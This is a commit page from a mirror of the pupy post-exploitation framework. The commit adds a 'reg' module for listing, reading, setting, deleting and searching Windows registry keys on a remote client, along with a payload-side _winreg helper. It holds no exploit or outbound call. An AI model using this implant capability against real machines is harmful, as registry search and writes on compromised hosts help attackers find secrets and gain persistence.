mirror of https://github.com/n1nj4sec/pupy.git
Add trivial registry access cli tool
This commit is contained in:
Oleksii Shevchuk
parent
a3e18ad01c
commit
7efb83e7d7
|
|
@ -0,0 +1,225 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
__class_name__ = 'reg'
|
||||
|
||||
from pupylib.PupyModule import config, PupyModule, PupyArgumentParser
|
||||
from pupylib.PupyOutput import Color, List, Table, MultiPart, TruncateToTerm
|
||||
|
||||
TYPES = (
|
||||
'NONE', 'SZ', 'EXPAND_SZ', 'BINARY', 'LE32', 'BE32',
|
||||
'LINK', 'MULTI_SZ', 'RESOURCE', 'RESOURCE_DESCRIPTOR',
|
||||
'RESOURCE_REQUIREMENTS_LIST'
|
||||
)
|
||||
|
||||
TYPE_COLORS = {
|
||||
'NONE': 'darkgrey',
|
||||
'SZ': 'white',
|
||||
'EXPAND_SZ': 'cyan',
|
||||
'BINARY': 'grey',
|
||||
'LE32': 'lightgreen',
|
||||
'BE32': 'blue',
|
||||
'LINK': 'lightyellow',
|
||||
'MULTI_SZ': 'lightred',
|
||||
'RESOURCE': 'red',
|
||||
'RESOURCE_DESCRIPTOR': 'red',
|
||||
'RESOURCE_REQUIREMENTS_LIST': 'red'
|
||||
}
|
||||
|
||||
def as_unicode(x):
|
||||
if type(x) is str:
|
||||
return x.decode('utf-8')
|
||||
elif type(x) is unicode:
|
||||
return x
|
||||
else:
|
||||
return unicode(x)
|
||||
|
||||
@config(cat='admin', compatibilities=['windows'])
|
||||
class reg(PupyModule):
|
||||
'''Search/list/get/set/delete registry keys/values '''
|
||||
|
||||
dependencies = {
|
||||
'windows': ['reg']
|
||||
}
|
||||
|
||||
@classmethod
|
||||
def init_argparse(cls):
|
||||
cls.arg_parser = PupyArgumentParser(prog='reg', description=cls.__doc__)
|
||||
commands = cls.arg_parser.add_subparsers(dest='command')
|
||||
|
||||
ls = commands.add_parser('ls')
|
||||
ls.add_argument('key', default='HKCU', help='List key (HKCU by default)')
|
||||
ls.add_argument('-w', '--wide', action='store_true', default=False, help='Show all the things')
|
||||
ls.set_defaults(func=cls.ls)
|
||||
|
||||
get = commands.add_parser('get')
|
||||
get.add_argument('key', help='Key path (no default)')
|
||||
get.add_argument(
|
||||
'name', nargs='?', default='',
|
||||
help='Value name (default is Default value)')
|
||||
get.set_defaults(func=cls.get)
|
||||
|
||||
vset = commands.add_parser('set')
|
||||
vset.add_argument(
|
||||
'-c', '--create', action='store_true', default=False,
|
||||
help='Create key')
|
||||
vset.add_argument(
|
||||
'-i', '--integer', action='store_true', default=False,
|
||||
help='Set as DWORD/LE32, default SZ (string)')
|
||||
vset.add_argument('key', help='Key path')
|
||||
vset.add_argument('name', help='Value name to set')
|
||||
vset.add_argument('value', help='Value to set')
|
||||
vset.set_defaults(func=cls.set)
|
||||
|
||||
rm = commands.add_parser('rm')
|
||||
rm.add_argument('key', help='Key path')
|
||||
rm.add_argument('name', default='', nargs='?', help='Value name or subkey to delete')
|
||||
rm.set_defaults(func=cls.rm)
|
||||
|
||||
search = commands.add_parser('search')
|
||||
search.add_argument(
|
||||
'-r', '--roots', default=('HKU', 'HKLM', 'HKCC'), nargs='+', help='Roots where to search')
|
||||
search.add_argument(
|
||||
'-K', '--exclude-key-name', action='store_false', default=True,
|
||||
help='Do not search term in key names')
|
||||
search.add_argument(
|
||||
'-N', '--exclude-value-name', action='store_false', default=True,
|
||||
help='Do not search term in value names')
|
||||
search.add_argument(
|
||||
'-V', '--exclude-value', action='store_false', default=True,
|
||||
help='Do not search term in values')
|
||||
search.add_argument(
|
||||
'-R', '--regex', action='store_true', default=False,
|
||||
help='Search term is regex')
|
||||
search.add_argument(
|
||||
'-E', '--equals', action='store_true', default=False,
|
||||
help='Show only full matches')
|
||||
search.add_argument(
|
||||
'-i', '--ignorecase', action='store_true', default=False,
|
||||
help='Ignore case')
|
||||
search.add_argument(
|
||||
'-w', '--wide', action='store_true', default=False,
|
||||
help='Show all the things')
|
||||
search.add_argument(
|
||||
'-1', '--first', action='store_true', default=False,
|
||||
help='Return after first match')
|
||||
search.add_argument('term', help='Term to search')
|
||||
search.set_defaults(func=cls.search)
|
||||
|
||||
def run(self, args):
|
||||
try:
|
||||
args.func(self, args)
|
||||
|
||||
except Exception, e:
|
||||
if e.args[0] == 5:
|
||||
self.error('Access denied')
|
||||
elif e.args[0] == 'ascii':
|
||||
self.error('Encoding error: {}'.format(e))
|
||||
else:
|
||||
self.error('Error: {}'.format(e.args[0]))
|
||||
|
||||
def _format_multi(self, results, wide=False, remove=None):
|
||||
keys = []
|
||||
values = []
|
||||
|
||||
legend = ['NAME', 'TYPE', 'VALUE']
|
||||
if not remove:
|
||||
legend.insert(0, 'KEY')
|
||||
|
||||
for record in results:
|
||||
is_key, key, rest = record[0], record[1], record[2:]
|
||||
|
||||
if remove and key.startswith(remove):
|
||||
key = key[len(remove)+1:]
|
||||
|
||||
if is_key:
|
||||
keys.append(key)
|
||||
continue
|
||||
|
||||
name, value, ktype = rest
|
||||
|
||||
ktype = TYPES[ktype]
|
||||
color = TYPE_COLORS[ktype]
|
||||
|
||||
if not wide and type(value) in (str,unicode):
|
||||
value = value.strip()
|
||||
|
||||
values.append({
|
||||
'KEY': Color(key, color),
|
||||
'NAME': Color(name, color),
|
||||
'VALUE': Color(value, color),
|
||||
'TYPE': Color(ktype, color)
|
||||
})
|
||||
|
||||
results = []
|
||||
|
||||
if keys:
|
||||
results.append(List(keys, caption='{ Keys }'))
|
||||
|
||||
if values:
|
||||
results.append(Table(values, legend, caption='Values'))
|
||||
|
||||
if not keys and not values:
|
||||
self.log('Empty')
|
||||
else:
|
||||
results = MultiPart(results)
|
||||
if not wide:
|
||||
results = TruncateToTerm(results)
|
||||
self.log(results)
|
||||
|
||||
def ls(self, args):
|
||||
ls = self.client.remote('reg', 'enum')
|
||||
result = ls(as_unicode(args.key))
|
||||
|
||||
if result is None:
|
||||
self.error('No such key')
|
||||
return
|
||||
|
||||
self._format_multi(result, wide=args.wide, remove=args.key)
|
||||
|
||||
def get(self, args):
|
||||
get = self.client.remote('reg', 'get')
|
||||
|
||||
value = get(as_unicode(args.key), as_unicode(args.name))
|
||||
if value is None:
|
||||
self.error('No such key')
|
||||
else:
|
||||
self.log(value)
|
||||
|
||||
def set(self, args):
|
||||
kset = self.client.remote('reg', 'set')
|
||||
value = args.value
|
||||
|
||||
if args.integer:
|
||||
value = int(value)
|
||||
else:
|
||||
value = as_unicode(value)
|
||||
|
||||
try:
|
||||
if kset(as_unicode(args.key), as_unicode(args.name), value, args.create):
|
||||
self.success('OK')
|
||||
else:
|
||||
self.error('No such key')
|
||||
except Exception, e:
|
||||
print e
|
||||
raise
|
||||
|
||||
def rm(self, args):
|
||||
rm = self.client.remote('reg', 'rm')
|
||||
|
||||
if rm(as_unicode(args.key), as_unicode(args.name)):
|
||||
self.success('OK')
|
||||
else:
|
||||
self.error('No such key')
|
||||
|
||||
def search(self, args):
|
||||
search = self.client.remote('reg', 'search')
|
||||
results = search(
|
||||
as_unicode(args.term),
|
||||
tuple([as_unicode(x) for x in args.roots]),
|
||||
args.exclude_key_name, args.exclude_value_name,
|
||||
args.exclude_value,
|
||||
args.regex, args.ignorecase,
|
||||
args.first, args.equals
|
||||
)
|
||||
|
||||
self._format_multi(results, wide=args.wide)
|
||||
|
|
@ -0,0 +1,426 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
__all__ = [
|
||||
'Key', 'search', 'enum',
|
||||
'set', 'get', 'rm'
|
||||
]
|
||||
|
||||
import _winreg
|
||||
import re
|
||||
import sys
|
||||
|
||||
WELL_KNOWN_KEYS = {
|
||||
'HKEY_LOCAL_MACHINE': _winreg.HKEY_LOCAL_MACHINE,
|
||||
'HKLM': _winreg.HKEY_LOCAL_MACHINE,
|
||||
'HKEY_CURRENT_USER': _winreg.HKEY_CURRENT_USER,
|
||||
'HKCU': _winreg.HKEY_CURRENT_USER,
|
||||
'HKEY_CURRENT_CONFIG': _winreg.HKEY_CURRENT_CONFIG,
|
||||
'HKCC': _winreg.HKEY_CURRENT_CONFIG,
|
||||
'HKEY_CLASSES_ROOT': _winreg.HKEY_CLASSES_ROOT,
|
||||
'HKCR': _winreg.HKEY_CLASSES_ROOT,
|
||||
'HKEY_USERS': _winreg.HKEY_USERS,
|
||||
'HKU': _winreg.HKEY_USERS,
|
||||
'HKEY_PERFORMANCE_DATA': _winreg.HKEY_PERFORMANCE_DATA,
|
||||
'HKPD': _winreg.HKEY_PERFORMANCE_DATA,
|
||||
}
|
||||
|
||||
WELL_KNOWN_TYPES = {
|
||||
int: _winreg.REG_DWORD,
|
||||
str: _winreg.REG_SZ,
|
||||
unicode: _winreg.REG_SZ,
|
||||
}
|
||||
|
||||
WELL_KNOWN_TYPES_NAMES = {
|
||||
_winreg.REG_DWORD: 'DWORD',
|
||||
_winreg.REG_BINARY: 'BINARY',
|
||||
_winreg.REG_DWORD_LITTLE_ENDIAN: 'LE32',
|
||||
_winreg.REG_DWORD_BIG_ENDIAN: 'BE32',
|
||||
_winreg.REG_EXPAND_SZ: 'EXPAND_SZ',
|
||||
_winreg.REG_LINK: 'LINK',
|
||||
_winreg.REG_MULTI_SZ: 'MULTI_SZ',
|
||||
_winreg.REG_NONE: 'NONE',
|
||||
_winreg.REG_RESOURCE_LIST: 'RESOURCE',
|
||||
_winreg.REG_FULL_RESOURCE_DESCRIPTOR: 'RESOURCE_DESCRIPTOR',
|
||||
_winreg.REG_RESOURCE_REQUIREMENTS_LIST: 'RESOURCE_REQUIREMENTS_LIST',
|
||||
_winreg.REG_SZ: 'SZ'
|
||||
}
|
||||
|
||||
class KeyIter(object):
|
||||
__slots__ = ('handle', 'orig_name', 'key', 'sub', 'idx', 'is_value')
|
||||
|
||||
def __init__(self, orig_name, key, sub, handle):
|
||||
self.orig_name = orig_name
|
||||
self.key = key
|
||||
self.sub = sub
|
||||
self.handle = handle
|
||||
self.idx = 0
|
||||
self.is_value = False
|
||||
|
||||
def next(self):
|
||||
try:
|
||||
result = None
|
||||
if self.is_value:
|
||||
name, value, ktype = _winreg.EnumValue(self.handle, self.idx)
|
||||
result = Value(self.orig_name, name, value, ktype)
|
||||
else:
|
||||
value = _winreg.EnumKey(self.handle, self.idx)
|
||||
value = value.decode(sys.getfilesystemencoding())
|
||||
result = Key(self.orig_name + '\\' + value)
|
||||
|
||||
self.idx += 1
|
||||
return result
|
||||
|
||||
except WindowsError, e:
|
||||
if e.winerror != 259:
|
||||
raise
|
||||
|
||||
if self.is_value:
|
||||
raise StopIteration()
|
||||
else:
|
||||
self.idx = 0
|
||||
self.is_value = True
|
||||
return self.next()
|
||||
|
||||
class Value(object):
|
||||
__slots__ = ('parent', 'name', 'value', 'type')
|
||||
|
||||
def __init__(self, parent, name, value, ktype):
|
||||
if type(parent) == str:
|
||||
parent = parent.decode(sys.getfilesystemencoding())
|
||||
|
||||
if type(name) == str:
|
||||
name = name.decode(sys.getfilesystemencoding())
|
||||
|
||||
if type(value) == str and ktype in (_winreg.REG_SZ, _winreg.REG_MULTI_SZ):
|
||||
value = value.decode(sys.getfilesystemencoding())
|
||||
|
||||
self.parent = parent
|
||||
self.name = name
|
||||
self.value = value
|
||||
self.type = ktype
|
||||
|
||||
def __str__(self):
|
||||
if self.type == _winreg.REG_EXPAND_SZ:
|
||||
value = self.value
|
||||
if type(value) is not unicode:
|
||||
try:
|
||||
value = value.decode(sys.getfilesystemencoding())
|
||||
except UnicodeDecodeError:
|
||||
value = value.decode('latin1')
|
||||
|
||||
try:
|
||||
return _winreg.ExpandEnvironmentStrings(value)
|
||||
except TypeError:
|
||||
pass
|
||||
|
||||
return value
|
||||
|
||||
elif self.type == _winreg.REG_SZ:
|
||||
return self.value
|
||||
|
||||
return str(self.value)
|
||||
|
||||
def __int__(self):
|
||||
return int(self.value)
|
||||
|
||||
def __repr__(self):
|
||||
return '{}={} ({})'.format(
|
||||
self.name, self.value, WELL_KNOWN_TYPES_NAMES[self.type])
|
||||
|
||||
class Key(object):
|
||||
__slots__ = ('arg', 'key', 'sub', 'access', 'create')
|
||||
|
||||
def __init__(self, key, access=_winreg.KEY_READ, create=False):
|
||||
sub_key = None
|
||||
top_key = None
|
||||
|
||||
if type(key) == str:
|
||||
key = key.decode(sys.getfilesystemencoding())
|
||||
|
||||
for wkk, wrk in WELL_KNOWN_KEYS.iteritems():
|
||||
if key == wkk:
|
||||
top_key = wrk
|
||||
sub_key = ''
|
||||
elif key.startswith((wkk+'\\', wkk+'/')):
|
||||
top_key = wrk
|
||||
sub_key = key[len(wkk)+1:]
|
||||
break
|
||||
|
||||
if not top_key:
|
||||
raise KeyError(key)
|
||||
|
||||
sub_key = sub_key.strip('\\')
|
||||
|
||||
self.key = top_key
|
||||
self.sub = sub_key
|
||||
self.arg = key
|
||||
self.access = access
|
||||
self.create = create
|
||||
|
||||
@property
|
||||
def name(self):
|
||||
return self.arg.split('\\')[-1]
|
||||
|
||||
@property
|
||||
def parent(self):
|
||||
return '\\'.join(self.arg.split('\\')[:-1])
|
||||
|
||||
def _open_key(self, access=None):
|
||||
try:
|
||||
sub = self.sub
|
||||
|
||||
if type(sub) == unicode:
|
||||
sub = sub.encode(sys.getfilesystemencoding())
|
||||
|
||||
if self.create:
|
||||
return _winreg.CreateKey(
|
||||
self.key, sub)
|
||||
else:
|
||||
return _winreg.OpenKey(
|
||||
self.key, sub, 0,
|
||||
access if access is not None else self.access)
|
||||
except WindowsError, e:
|
||||
if e.winerror != 2:
|
||||
raise
|
||||
|
||||
raise KeyError(self.sub)
|
||||
|
||||
def _query_value(self, handle, attr):
|
||||
try:
|
||||
if type(attr) == unicode:
|
||||
attr = attr.encode(sys.getfilesystemencoding())
|
||||
value, ktype = _winreg.QueryValueEx(handle, attr)
|
||||
except WindowsError, e:
|
||||
if e.winerror != 2:
|
||||
raise
|
||||
|
||||
raise KeyError(attr)
|
||||
|
||||
return Value(self.arg, attr, value, ktype)
|
||||
|
||||
def __iter__(self):
|
||||
handle = self._open_key(
|
||||
_winreg.KEY_QUERY_VALUE | _winreg.KEY_ENUMERATE_SUB_KEYS)
|
||||
|
||||
iterator = KeyIter(self.arg, self.key, self.sub, handle)
|
||||
try:
|
||||
while True:
|
||||
try:
|
||||
yield next(iterator)
|
||||
except WindowsError, e:
|
||||
## Ignore everything
|
||||
print "PISKA", e.args
|
||||
pass
|
||||
|
||||
except StopIteration:
|
||||
return
|
||||
|
||||
finally:
|
||||
_winreg.CloseKey(handle)
|
||||
|
||||
def __str__(self):
|
||||
return self.arg.encode(sys.getfilesystemencoding())
|
||||
|
||||
def __unicode__(self):
|
||||
return self.arg
|
||||
|
||||
def __repr__(self):
|
||||
return self.arg
|
||||
|
||||
def __delitem__(self, attr):
|
||||
handle = self._open_key(_winreg.KEY_SET_VALUE)
|
||||
|
||||
if type(attr) == unicode:
|
||||
attr = attr.encode(sys.getfilesystemencoding())
|
||||
|
||||
try:
|
||||
try:
|
||||
return _winreg.DeleteValue(handle, attr)
|
||||
except WindowsError, e:
|
||||
if e.winerror != 2:
|
||||
raise
|
||||
|
||||
try:
|
||||
return _winreg.DeleteKey(handle, attr)
|
||||
except WindowsError, e:
|
||||
if e.winerror != 2:
|
||||
raise
|
||||
|
||||
raise KeyError(attr)
|
||||
|
||||
finally:
|
||||
_winreg.CloseKey(handle)
|
||||
|
||||
def __getitem__(self, attr):
|
||||
handle = self._open_key()
|
||||
try:
|
||||
return self._query_value(handle, attr)
|
||||
finally:
|
||||
_winreg.CloseKey(handle)
|
||||
|
||||
def __setitem__(self, attr, value):
|
||||
vtype = type(value)
|
||||
|
||||
if vtype not in WELL_KNOWN_TYPES and vtype is not Value:
|
||||
raise TypeError('setattr only supported for str/int')
|
||||
|
||||
ktype = value.type if vtype is Value else WELL_KNOWN_TYPES[vtype]
|
||||
if vtype is Value:
|
||||
value = value.value
|
||||
|
||||
handle = self._open_key(_winreg.KEY_SET_VALUE)
|
||||
|
||||
if type(attr) == unicode:
|
||||
attr = attr.encode(sys.getfilesystemencoding())
|
||||
|
||||
if type(value) == unicode:
|
||||
value = value.encode(sys.getfilesystemencoding())
|
||||
|
||||
try:
|
||||
return _winreg.SetValueEx(
|
||||
handle, attr, 0, ktype, value)
|
||||
finally:
|
||||
_winreg.CloseKey(handle)
|
||||
|
||||
def search(term, roots=('HKU', 'HKLM', 'HKCC'), key=True, name=True, value=True, regex=False, ignorecase=False, first=False, equals=False):
|
||||
compare = None
|
||||
|
||||
def as_str(x):
|
||||
vtype = type(x)
|
||||
if vtype in (str, unicode):
|
||||
return x
|
||||
else:
|
||||
return str(x)
|
||||
|
||||
def contains(x, y):
|
||||
try:
|
||||
if type(x) == str and type(y) == unicode:
|
||||
return x in y.encode(sys.getfilesystemencoding())
|
||||
elif type(x) == unicode and type(y) == str:
|
||||
return x.encode(sys.getfilesystemencoding()) in y.encode
|
||||
else:
|
||||
return x in y
|
||||
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
if regex:
|
||||
term = re.compile(
|
||||
term,
|
||||
re.MULTILINE | (re.IGNORECASE if ignorecase else 0))
|
||||
|
||||
if equals:
|
||||
compare = lambda x: term.match(as_str(x))
|
||||
else:
|
||||
compare = lambda x: term.search(as_str(x))
|
||||
elif ignorecase:
|
||||
if equals:
|
||||
compare = lambda x: term.lower() == as_str(x).lower()
|
||||
else:
|
||||
compare = lambda x: term.lower() in as_str(x).lower()
|
||||
else:
|
||||
if equals:
|
||||
compare = lambda x: term == x
|
||||
else:
|
||||
compare = lambda x: contains(term, x)
|
||||
|
||||
if type(roots) in (str, unicode):
|
||||
roots = [roots]
|
||||
|
||||
def _walk(root):
|
||||
results = []
|
||||
|
||||
for kv in root:
|
||||
tkv = type(kv)
|
||||
|
||||
if tkv == Key:
|
||||
if key and compare(kv.name):
|
||||
results.append(kv)
|
||||
if first and results:
|
||||
break
|
||||
|
||||
try:
|
||||
results.extend(_walk(kv))
|
||||
|
||||
if first and results:
|
||||
break
|
||||
|
||||
except WindowsError:
|
||||
pass
|
||||
|
||||
elif tkv == Value:
|
||||
if name and compare(kv.name):
|
||||
results.append(kv)
|
||||
|
||||
elif value and (equals or type(kv.value) in (str, unicode)) and compare(kv.value):
|
||||
results.append(kv)
|
||||
|
||||
if first and results:
|
||||
break
|
||||
|
||||
else:
|
||||
raise TypeError('Unknown type {} in search'.format(tkv.__name__))
|
||||
|
||||
return results
|
||||
|
||||
typleized = []
|
||||
for root in roots:
|
||||
for result in _walk(Key(root)):
|
||||
if type(result) == Key:
|
||||
typleized.append((True, str(result)))
|
||||
else:
|
||||
typleized.append((
|
||||
False, result.parent, result.name,
|
||||
result.value, result.type))
|
||||
|
||||
return typleized
|
||||
|
||||
def enum(path):
|
||||
try:
|
||||
tupleized = []
|
||||
|
||||
for item in Key(path):
|
||||
if type(item) == Key:
|
||||
tupleized.append((True, unicode(item)))
|
||||
else:
|
||||
tupleized.append((
|
||||
False, item.parent, item.name,
|
||||
item.value, item.type))
|
||||
|
||||
return tuple(tupleized)
|
||||
|
||||
except KeyError:
|
||||
return None
|
||||
|
||||
def set(path, name, value, create):
|
||||
try:
|
||||
k = Key(path, create=create)
|
||||
try:
|
||||
old_value = k[name]
|
||||
if old_value.type in (_winreg.REG_SZ, _winreg.REG_BINARY):
|
||||
if type(value) not in (str, unicode):
|
||||
value = str(value)
|
||||
elif old_value.type in (_winreg.REG_DWORD, _winreg.REG_DWORD_LITTLE_ENDIAN):
|
||||
if type(value) != int:
|
||||
value = int(value)
|
||||
except KeyError:
|
||||
pass
|
||||
|
||||
k[name] = value
|
||||
return True
|
||||
|
||||
except KeyError:
|
||||
return False
|
||||
|
||||
def get(path, name):
|
||||
try:
|
||||
return Key(path)[name].value
|
||||
except KeyError:
|
||||
return None
|
||||
|
||||
def rm(path, name):
|
||||
try:
|
||||
del Key(path)[name]
|
||||
return True
|
||||
except KeyError:
|
||||
return False
|
||||
Loading…
Reference in New Issue